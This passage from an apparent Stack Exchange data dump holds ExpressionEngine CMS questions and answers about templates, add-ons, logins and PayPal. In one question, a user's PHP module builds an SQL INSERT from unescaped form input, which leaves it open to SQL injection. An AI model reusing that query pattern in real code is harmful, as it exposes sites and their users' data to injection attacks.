four&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then you could basically set-up:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;h2&amp;gt;{field_one}&amp;lt;/h2&amp;gt;&#xA;{if field_two !=&quot;&quot;}&amp;lt;p&amp;gt;{field_two}&amp;lt;/p&amp;gt;{/if}&#xA;{if field_four !=&quot;&quot;}&amp;lt;p&amp;gt;{field_four}&amp;lt;/p&amp;gt;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That's a simple comparison, which would add text to an always default message &lt;code&gt;{field_one}&lt;/code&gt; But if you have some sort of activation key for one field over an other, then you'd need to also check for the activation field and the content.&lt;/p&gt;&#xA;" OwnerUserId="252" LastActivityDate="2014-02-18T15:40:05.937" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19538" PostTypeId="1" CreationDate="2014-02-18T15:46:38.220" Score="1" ViewCount="107" Body="&lt;p&gt;Trying to link to pages as &quot;Related Articles&quot;. Here is my code. The template is used to display the articles. My text, &quot;Related Articles&quot; is not showing either. Using EE 2.7. Any help is appreciated.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;div class=&quot;sixteen columns mainContent redTop boxShadow&quot;&amp;gt;&#xA;    {exp:channel:entries category=&quot;{embed:pageCat}&quot; limit=&quot;1&quot;}&#xA;&#xA;&#xA;        &amp;lt;div class=&quot;text eleven columns alpha&quot;&amp;gt;&#xA;&#xA;            &amp;lt;h1 class=&quot;blue borderBottom&quot;&amp;gt;{news_title}&amp;lt;/h1&amp;gt;&#xA;            &amp;lt;span class=&quot;date orange&quot;&amp;gt;{entry_date format=&quot;%F %j, %Y&quot;}&amp;lt;/span&amp;gt;&#xA;            {if news_image}&#xA;                {news_image var_prefix=&quot;file&quot;}&#xA;                &amp;lt;div class=&quot;pageImage right&quot;&amp;gt;&amp;lt;img src=&quot;{file:url}&quot; alt=&quot;{file:alt_text}&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;                {/news_image}&#xA;            {/if}&#xA;            {news_text}&#xA;&#xA;            {related_articles}&#xA;                {if related_articles}&#xA;                Related Articles:&#xA;                &amp;lt;ul&amp;gt;&#xA;                {/if}&#xA;                &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{site_url}/news/industry/{last_segment}&quot;&amp;gt;{related_articles:title}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;                {if related_articles:count == related_articles:total_results}&#xA;                &amp;lt;/ul&amp;gt;&#xA;                {/if}&#xA;            {/related_articles}             &#xA;&#xA;        &amp;lt;/div&amp;gt;&#xA;&#xA;        {embed=&quot;includes/zipSearch&quot;}&#xA;&#xA;&amp;lt;div class=&quot;five columns sidebar right alpha&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;box boxShadow blueTop sideNav&quot;&amp;gt;{exp:channel:entries category=&quot;11&quot;}&#xA;        &amp;lt;h4&amp;gt;Spread Awareness:&amp;lt;/h4&amp;gt;&#xA;        {!--exp:navee:nav nav_title=&quot;main-site-nav&quot; selected_class=&quot;selected&quot;  parent_selected_class=&quot;selected&quot; start_nav_with_kids_of_selected=&quot;true&quot; start_nav_from_parent=&quot;true&quot; start_nav_from_parent_depth=&quot;1&quot; only_display_children_of_selected=&quot;true&quot;--}&#xA;        {exp:navee:nav nav_title=&quot;main-site-nav&quot; selected_class=&quot;selected&quot; start_node=&quot;/spread-awareness/&quot; start_nav_from_parent_depth=&quot;2&quot; only_display_children_of_selected=&quot;true&quot;}&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;    {if &quot;{related_video:count}&quot; != &quot;&quot;}&#xA;    &amp;lt;div class=&quot;box boxShadow orangeTop&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;youtubeLink&quot;&amp;gt;&#xA;            &amp;lt;iframe width=&quot;420&quot; height=&quot;315&quot; src=&quot;//www.youtube.com/embed/{related_video}{related_video:video}{/related_video}&quot; frameborder=&quot;0&quot; allowfullscreen&amp;gt;&amp;lt;/iframe&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    {/if}&#xA;&amp;lt;/div&amp;gt;&amp;lt;!--end sidebar--&amp;gt;&#xA;    {/exp:channel:entries}&#xA;    &amp;lt;/div&amp;gt;&amp;lt;!--end mainContent--&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2366" LastActivityDate="2014-03-30T19:06:17.360" Title="Relationship fields in 2.7 as URLs" Tags="|ee2|relationships|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19539" PostTypeId="2" ParentId="19433" CreationDate="2014-02-18T15:48:20.317" Score="1" Body="&lt;p&gt;If you are not using a &lt;a href=&quot;http://devot-ee.com/search/results?keywords=membership&amp;amp;addon_version_support=ee2&quot; rel=&quot;nofollow&quot;&gt;membership add-on&lt;/a&gt;, then the easiest method is to approve all incoming memberships into the default membership group, which requires not activation (I recommend at least manual activation). Similar to what @Mediapimp has done, you would track their membership option and just perform manual escalation on those with additional privileges.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I believe some of the membership plug-ins do allow for set-ups that can handle different approval processes.&lt;/p&gt;&#xA;" OwnerUserId="252" LastActivityDate="2014-02-18T15:48:20.317" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19540" PostTypeId="1" CreationDate="2014-02-18T16:07:47.457" Score="2" ViewCount="224" Body="&lt;p&gt;I just updated to the latest EE, CT and P:E on sunday. Everything's working great so far but I found to have one problem: the logout link for logged in users doesn't work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if logged_in}&#xA;        {exp:profile:view}&amp;lt;a href=&quot;{path='account'}&quot;&amp;gt;Hallo {member_first_name} {member_last_name}&amp;lt;/a&amp;gt;{/exp:profile:view} • &amp;lt;a href=&quot;{exp:profile:logout_link return=&quot;/&quot;}&quot;&amp;gt;Logout&amp;lt;/a&amp;gt;                        &#xA;{if:elseif logged_out}&#xA;[...]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When clicking the logout link on the frontpage the page refreshes but I am still logged in.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried as superadmin and regular user both with the same behaviour.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I searched here and on the Forums but it seems like I am the only person having this problem... :/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas on this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks and Cheers,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Marc&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2014-05-05T10:14:33.177" Title="Profile:Edit Logout link not working" Tags="|profile-edit|bug|mightybigrobot|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="19541" PostTypeId="2" ParentId="19508" CreationDate="2014-02-18T16:45:13.947" Score="1" Body="&lt;p&gt;You are comparing two variables where you compare one with quotes &lt;code&gt;&quot;&quot;&lt;/code&gt; and one without. So that probably gives a mismatch because it compares the two variables as different types. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So change this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if segment_4==&quot;{url_title}&quot;} class=&quot;current&quot;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;into:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if &quot;{segment_4}&quot;==&quot;{url_title}&quot;} class=&quot;current&quot;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;probably also this would work (not tested).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if {segment_4}=={url_title}} class=&quot;current&quot;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1700" LastActivityDate="2014-02-18T16:45:13.947" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19542" PostTypeId="1" AcceptedAnswerId="19548" CreationDate="2014-02-18T18:53:31.763" Score="1" ViewCount="194" Body="&lt;p&gt;Currently using EE 2.7.3 and Freemember 2.3.1. I made sure to create an encryption key first for my config file. I've followed the documentation so far, it's thorough and keeps things minimal. Unfortunately, immediately after calling Freemember I'm being given this error:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Parse error: syntax error, unexpected ':' in&#xA;  /home/.../system/expressionengine/third_party/freemember/mod.freemember.php&#xA;  on line 397&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This is line 397 of mod.freemember.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$return_url = ee()-&amp;gt;input-&amp;gt;get_post('return_url') ?: $this-&amp;gt;history(0);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And here is my login markup:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if logged_out}&#xA;    &amp;lt;a href=&quot;#&quot; class=&quot;login&quot;&amp;gt;Login&amp;lt;/a&amp;gt;&#xA;    &amp;lt;div id=&quot;login-modal&quot;&amp;gt;&#xA;            {exp:freemember:login return=&quot;PREVIOUS_URL&quot;}&#xA;                &amp;lt;input type=&quot;text&quot; name=&quot;username&quot; value=&quot;&quot; maxlength=&quot;32&quot; placeholder=&quot;Username&quot;&amp;gt;&#xA;                &amp;lt;input type=&quot;password&quot; name=&quot;password&quot; value=&quot;&quot; maxlength=&quot;32&quot; placeholder=&quot;Password&quot; autocomplete=&quot;false&quot;&amp;gt;&#xA;                &amp;lt;input type=&quot;submit&quot; name=&quot;submit&quot; value=&quot;Submit&quot;&amp;gt;&#xA;                {if auto_login}&#xA;                    &amp;lt;p&amp;gt;&amp;lt;input type=&quot;checkbox&quot; name=&quot;auto_login&quot; value=&quot;1&quot; {auto_login_checked} &amp;gt; Auto-login on future visits&amp;lt;/p&amp;gt;&#xA;                {/if}&#xA;                &amp;lt;a href=&quot;{path='member/forgot_password'}&quot;&amp;gt;Forgot your password?&amp;lt;/a&amp;gt;&#xA;            {/exp:freemember:login}&#xA;    &amp;lt;/div&amp;gt;&#xA;{/if}&#xA;{if logged_in}&#xA;    &amp;lt;a class=&quot;login&quot; href=&quot;{exp:freemember:logout_url}&quot;&amp;gt;Logout&amp;lt;/a&amp;gt;&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;div#login-modal is being toggled with JQuery (1.10.4)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is causing this? My guess is I've overlooked something but I'm out of ideas.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt; Trying to isolate the issue, any hint of Freemember tags on the page will return an error.&lt;/p&gt;&#xA;" OwnerUserId="2678" LastEditorUserId="2678" LastEditDate="2014-02-19T15:04:35.830" LastActivityDate="2014-02-19T15:04:35.830" Title="Freemember parsing error" Tags="|freemember|expresso|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19543" PostTypeId="1" CreationDate="2014-02-18T19:35:30.573" Score="0" ViewCount="202" Body="&lt;p&gt;I have a cartthrob setup selling 30 day access to channel entries. A customer purchased access but the payment didn't go through paypal express giving the error &quot;10416 Transaction refused because of an invalid argument.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Customer was still able to access the channel entry even though the payment hadn't completed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I feel this is a paypal express problem more that a CT one but wondering if anyone here has experienced similar issues and what the workaround is (other than not using paypal)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Running EE 2.5.5 and CT 2.3.4 for what it's worth&lt;/p&gt;&#xA;" OwnerUserId="302" LastActivityDate="2014-02-18T19:35:30.573" Title="Cartthrob - Paypal Express error 10416" Tags="|cartthrob|paypal|shopping-cart|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19544" PostTypeId="1" AcceptedAnswerId="19545" CreationDate="2014-02-18T19:53:57.367" Score="0" ViewCount="91" Body="&lt;p&gt;I'm trying to pull a category image using &lt;code&gt;segment_n_category_image&lt;/code&gt; variable from Low Seg2Cat add-on. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Code looks like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;img src=&quot;{segment_2_category_image}&quot; alt=&quot;{segment_2_category_name}&quot; class=&quot;img-responsive img-ctr&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;img class=&quot;img-responsive img-ctr&quot; alt=&quot;XYZ Category Title&quot; src=&quot;{filedir_1}xyz_image.jpg&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It looks fine except &lt;code&gt;{filerdir_1}&lt;/code&gt; part which I have no clue where comes from.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any idea?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="1577" LastActivityDate="2014-02-18T20:13:56.987" Title="Low Seg2Cat and category image" Tags="|categories|low-seg2cat|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19545" PostTypeId="2" ParentId="19544" CreationDate="2014-02-18T20:13:56.987" Score="2" Body="&lt;p&gt;Low Seg2Cat deliberately doesn't parse the file paths in the category image for performance reasons.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can use the &lt;a href=&quot;http://devot-ee.com/add-ons/parse-file-paths&quot; rel=&quot;nofollow&quot;&gt;Parse File Paths&lt;/a&gt; add-on to get those parsed.&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2014-02-18T20:13:56.987" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19546" PostTypeId="1" AcceptedAnswerId="19594" CreationDate="2014-02-18T20:32:17.730" Score="1" ViewCount="96" Body="&lt;p&gt;Primary Category, when used with Channel Forms as per these instructions: &lt;a href=&quot;http://www.solspace.com/docs/primary_category/using_with_channel_form/&quot; rel=&quot;nofollow&quot;&gt;http://www.solspace.com/docs/primary_category/using_with_channel_form/&lt;/a&gt;, does not function as expected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is that the &lt;code&gt;{category}{/category}&lt;/code&gt; tags make all selected categories &lt;code&gt;{selected}&lt;/code&gt;, even if they are not the single selected Primary Category. So the select box for the Primary Category selection has multiple selected options, which of course is not allowed in HTML and so it often highlights the incorrect value as the selected one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there another way, other than using the &lt;code&gt;{selected}&lt;/code&gt; variable, to select only the single Primary Category in this category select box? Otherwise it can't function reliably in Channel Forms unless each entry is assigned to only a single category.&lt;/p&gt;&#xA;" OwnerUserId="982" LastEditorUserId="884" LastEditDate="2014-02-21T21:04:22.710" LastActivityDate="2014-02-21T21:04:22.710" Title="Primary Category {selected} in Channel Form" Tags="|solspace|channel-form|primary-category|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19547" PostTypeId="2" ParentId="19509" CreationDate="2014-02-18T20:40:48.820" Score="0" Body="&lt;p&gt;As I wasn't able to get GW CatMenu output categories in a way I want, I have decided to go back to GW Categories and use logic below to indicate active/current category:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:gwcode_categories group_id=&quot;4&quot; cat_url_title=&quot;{segment_2}&quot; last_only=&quot;yes&quot; class=&quot;list-plain&quot;}&#xA;{if &quot;{segment_3}&quot;==&quot;{cat_url_title}&quot;}{cat_name}&#xA;{if:else}&#xA;&amp;lt;a href=&quot;{path=&quot;{segment_1}/{complete_path}&quot;}&quot;&amp;gt;{cat_name}&amp;lt;/a&amp;gt;&#xA;{/if}&#xA;{exp:gwcode_categories}   &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1577" LastActivityDate="2014-02-18T20:40:48.820" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19548" PostTypeId="2" ParentId="19542" CreationDate="2014-02-18T21:51:38.617" Score="2" Body="&lt;p&gt;That syntax you pointed out on line 397 is PHP 5.3 only. You are likely on an older version of PHP.&lt;/p&gt;&#xA;" OwnerUserId="617" LastActivityDate="2014-02-18T21:51:38.617" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19549" PostTypeId="2" ParentId="19500" CreationDate="2014-02-18T21:56:40.433" Score="0" Body="&lt;p&gt;All code works. Issue is resolved. The url wasnt being recognised as I was forcing the path&lt;/p&gt;&#xA;" OwnerUserId="1916" LastActivityDate="2014-02-18T21:56:40.433" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19550" PostTypeId="1" AcceptedAnswerId="19562" CreationDate="2014-02-18T23:14:41.163" Score="0" ViewCount="439" Body="&lt;p&gt;I need to be able to determine a visitors location (city, state) when they get to the site and then show them content based on that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, if I go to the site. I would see all the information about the store closest to me, with the ability to change the default store to a different one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I saw this plugin, but it looks like it's reviews of late haven't been very good.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks.&lt;/p&gt;&#xA;" OwnerUserId="383" LastActivityDate="2014-02-19T10:42:37.870" Title="What is the best way to determine geolocation in EE?" Tags="|geofinder|ip|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19551" PostTypeId="1" AcceptedAnswerId="19553" CreationDate="2014-02-18T23:49:59.997" Score="0" ViewCount="151" Body="&lt;p&gt;I have a template where I only want &quot;Members&quot; to be able to access. If a user that is not part of the &quot;Members&quot; group tries to access that page, I want it to redirect to a &lt;code&gt;sign-up/index&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is what I did in the templates&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/4ehhW.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, my problem is that when I tried accessing this certain template as &quot;Guest&quot;, I only see a blank page. I am not redirected to &lt;code&gt;sign-in/index&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I missing something here? &lt;/p&gt;&#xA;" OwnerUserId="636" LastActivityDate="2014-02-19T03:00:43.603" Title="Template Access Restriction Redirection is not working" Tags="|templates|redirects|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19552" PostTypeId="2" ParentId="19538" CreationDate="2014-02-19T00:02:06.160" Score="1" Body="&lt;p&gt;From the point that you probably always have related articles, you might try this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Related Articles:    &#xA;&amp;lt;ul&amp;gt;&#xA;{related_articles}  &#xA;  &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{site_url}/news/industry/{last_segment}&quot;&amp;gt;{related_articles:title}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;{/related_articles} &#xA;&amp;lt;ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1700" LastActivityDate="2014-02-19T00:02:06.160" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19553" PostTypeId="2" ParentId="19551" CreationDate="2014-02-19T03:00:43.603" Score="2" Body="&lt;p&gt;When you use template access restrictions, EE doesn't do a browser redirect to your no-access template (&lt;code&gt;sign-in/index&lt;/code&gt;)--it just displays that template in-place.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, if you browse to &lt;code&gt;/members-only&lt;/code&gt; in your browser and that's a template with the access restriction, EE will display the &lt;code&gt;sign-in/index&lt;/code&gt; template at the &lt;code&gt;/members-only&lt;/code&gt; URL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, first of all, make sure that you see what you want when you browse to &lt;code&gt;/sign-in&lt;/code&gt; in your browser -- make sure that's not blank. Also be sure that you don't have any conflicting template access restrictions on &lt;code&gt;sign-in/index&lt;/code&gt;!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, if that's OK, check that your code in &lt;code&gt;sign-in/index&lt;/code&gt; can adapt to the different URLs where it will be displayed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does any of that help?&lt;/p&gt;&#xA;" OwnerUserId="1900" LastActivityDate="2014-02-19T03:00:43.603" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19555" PostTypeId="2" ParentId="19536" CreationDate="2014-02-19T06:03:26.667" Score="1" Body="&lt;p&gt;The &quot;Date&quot; field is for the user to modify. It does not represent the time the file was uploaded - use &quot;date_modified&quot; for that. On initial upload, the Date is set to the same value as &quot;date modified&quot;, so that it has at least some value, but, other than that, it's more of a descriptive field, so, again, use &quot;date_modified&quot;.&lt;/p&gt;&#xA;" OwnerUserId="722" LastActivityDate="2014-02-19T06:03:26.667" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19556" PostTypeId="1" CreationDate="2014-02-19T07:08:38.550" Score="1" ViewCount="77" Body="&lt;p&gt;actually i need to make one small insertion form in module  . in that text fields are inserted but now i need to add a file in tat form . mod file code is like these &#xA; let me know wat to add the code for upload file in these.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;function form()&#xA;    {&#xA;        $tagdata = ee()-&gt;TMPL-&gt;tagdata;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    $channel_id = (ee()-&amp;gt;TMPL-&amp;gt;fetch_param('channel_id') === FALSE) ? '0' : ee()-&amp;gt;TMPL-&amp;gt;fetch_param('channel_id');&#xA;    $entry_id = $this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;fetch_param('entry_id');&#xA;    $name = '';&#xA;    // Configure the upload class&#xA;        $config['upload_path'] = './images/';&#xA;        $config['allowed_types'] = 'gif|jpg|png';&#xA;        $this-&amp;gt;EE-&amp;gt;load-&amp;gt;library('upload', $config);&#xA;&#xA;        // Error checking&#xA;        if ( ! $this-&amp;gt;EE-&amp;gt;upload-&amp;gt;do_upload('proposal_file'))&#xA;        {&#xA;            $data = array(&#xA;              'error' =&amp;gt; $this-&amp;gt;EE-&amp;gt;upload-&amp;gt;display_errors()&#xA;            );&#xA;&#xA;        }&#xA;        // No problems so do our processing&#xA;        else&#xA;        {&#xA;            // Store the info about the uploaded file&#xA;            $upload_data = $this-&amp;gt;EE-&amp;gt;upload-&amp;gt;data();&#xA;        }       &#xA;    $data['id']     = (ee()-&amp;gt;TMPL-&amp;gt;form_id == '') ? 'proposallist_form' : ee()-&amp;gt;TMPL-&amp;gt;form_id;&#xA;    $data['class']  = ee()-&amp;gt;TMPL-&amp;gt;form_class;&#xA;    $data['hidden_fields'] = array(&#xA;        'ACT'   =&amp;gt; ee()-&amp;gt;functions-&amp;gt;fetch_action_id('Proposallist', 'insert_new_proposal'),&#xA;        'RET'   =&amp;gt; ee()-&amp;gt;functions-&amp;gt;fetch_current_uri(),&#xA;        'channel_id'    =&amp;gt; $channel_id,&#xA;        'entry_id'  =&amp;gt; $entry_id,&#xA;    );&#xA;    $res  = ee()-&amp;gt;functions-&amp;gt;form_declaration($data);&#xA;&#xA;    $res .= $tagdata;&#xA;&#xA;    $res .= &quot;&amp;lt;/form&amp;gt;&quot;;&#xA;&#xA;    return $res;&#xA;}&#xA;&#xA;// -------------------------------------------------------------------------&#xA;&#xA;/** ----------------------------------------&#xA;/**  Insert new email&#xA;/** ----------------------------------------*/&#xA;function insert_new_proposal()&#xA;{&#xA;    ee()-&amp;gt;lang-&amp;gt;loadfile('proposallist');&#xA;    if (ee()-&amp;gt;config-&amp;gt;item('proposallist_enabled') == 'n')&#xA;    {&#xA;        return ee()-&amp;gt;output-&amp;gt;show_user_error('general', lang('proposallist_disabled'));&#xA;    }&#xA;    if (ee()-&amp;gt;blacklist-&amp;gt;blacklisted == 'y' &amp;amp;&amp;amp; ee()-&amp;gt;blacklist-&amp;gt;whitelisted == 'n')&#xA;    {&#xA;        return ee()-&amp;gt;output-&amp;gt;show_user_error('general', lang('not_authorized'));&#xA;    }&#xA;&#xA;    if ( ! isset($_POST['RET']))&#xA;    {&#xA;        exit;&#xA;    }&#xA;    $errors = array();&#xA;&#xA;    $proposal_file = ee()-&amp;gt;input-&amp;gt;post('proposal_file');&#xA;    $description = ee()-&amp;gt;input-&amp;gt;get_post('description');&#xA;    $member_id = $this-&amp;gt;EE-&amp;gt;session-&amp;gt;userdata('member_id');&#xA;    $proposal_amount = ee()-&amp;gt;input-&amp;gt;post('proposal_amount');&#xA;    $proposal_date = ee()-&amp;gt;input-&amp;gt;post('delivery_date');&#xA;    $description = trim(strip_tags($description));&#xA;    $entry_id = ee()-&amp;gt;input-&amp;gt;post('entry_id');&#xA;    $proposal_agreement = ee()-&amp;gt;input-&amp;gt;post('agreement');&#xA;    $proposal_status = ee()-&amp;gt;input-&amp;gt;post('status');&#xA;    $pro_user_name = $this-&amp;gt;EE-&amp;gt;session-&amp;gt;userdata('screen_name');&#xA;    $pro_email_id = $this-&amp;gt;EE-&amp;gt;session-&amp;gt;userdata('email');&#xA;//exit();&#xA;&#xA;    $proposal_id = FALSE;&#xA;&#xA;    if ($description == '')&#xA;    {&#xA;        $errors[] = lang('ml_missing_email');&#xA;    }&#xA;    if (count($errors) == 0)&#xA;    {&#xA;&#xA;            $query = ee()-&amp;gt;db-&amp;gt;query(&quot;SELECT COUNT(*) AS count FROM exp_proposal_list WHERE member_id = '&quot;.ee()-&amp;gt;db-&amp;gt;escape_str($member_id).&quot;' and entry_id = '&quot;.ee()-&amp;gt;db-&amp;gt;escape_str($entry_id).&quot;'&quot;);&#xA;&#xA;            if ($query-&amp;gt;row('count')  &amp;gt; 0)&#xA;            {&#xA;                $errors[] = lang('Your have already submitted your proposal to this content need');&#xA;            }&#xA;&#xA;    }&#xA;&#xA;    $code = ee()-&amp;gt;functions-&amp;gt;random('alnum', 10);&#xA;&#xA;    $return = '';&#xA;&#xA;    ee()-&amp;gt;db-&amp;gt;query(&quot;INSERT INTO exp_proposal_list (proposal_id,entry_id,member_id,proposal_amount,proposal_date,description,pro_user_name,pro_email_id,proposal_status,proposal_file,proposal_accept_seller,proposal_accept_buyer,proposal_timestamp,proposal_agreement)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;VALUES ('&quot;.ee()-&gt;db-&gt;escape_str($proposal_id).&quot;', '&quot;.$entry_id.&quot;','&quot;.$member_id.&quot;','&quot;.$proposal_amount.&quot;','&quot;.$proposal_date.&quot;','&quot;.ee()-&gt;db-&gt;escape_str($description).&quot;','&quot;.$pro_user_name.&quot;','&quot;.$pro_email_id.&quot;','&quot;.$proposal_status.&quot;','&quot;.$proposal_file.&quot;',' ',' ', '&quot;.$proposal_timestamp.&quot;', '&quot;.$proposal_agreement.&quot;')&quot;);&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    ee()-&amp;gt;functions-&amp;gt;redirect($_POST['RET']);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2767" LastActivityDate="2014-02-19T07:08:38.550" Title="i'm to expression engine . i hav a requirement like , i need to upload a file in images folder throug module" Tags="|file-uploads|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19557" PostTypeId="2" ParentId="17692" CreationDate="2014-02-19T08:27:03.053" Score="0" Body="&lt;p&gt;Although I use Linode as a host and have generally been happy, my experience is that php runs really slow on their boxes. Way slower than in your local Macbook Pro environment. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've experienced over 50% CPU 'steal' as well which is a bit annoying. My advice would be to consider a dedicated server if you can't optimise your site any more.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One more piece of advice - get New Relic on there and you'll have a much clearer idea of where the problem is. From what I've found, it's not the database that is the bottleneck, but php.&lt;/p&gt;&#xA;" OwnerUserId="308" LastActivityDate="2014-02-19T08:27:03.053" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19558" PostTypeId="1" CreationDate="2014-02-19T09:51:02.510" Score="1" ViewCount="170" Body="&lt;p&gt;I have filled in my checkout with the following details, note I have left Shipping Address 2 blank:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Billing&#xA;First Name: “Billing Name 1“&#xA;Last Name: “Billing Name 2“&#xA;Address 1: “Billing Address 1“&#xA;Address 2: “Billing Address 2“&#xA;City: “Billing City“&#xA;Post Code: “Billing Post Code“&#xA;&#xA;Shipping&#xA;First Name: “Shipping Name 1”&#xA;Last Name: “Shipping Name 2”&#xA;Address 1: “Shipping Address 1”&#xA;City: “Shipping City”&#xA;Post Code: “Shipping Post Code”&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I then submitted this to Paypal Express and choose to pay via CC within PayPal. The fields are populated thus:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Billing Information&#xA;First Name: Shipping&#xA;Last Name: 2&#xA;Address Line 1: Shipping Address 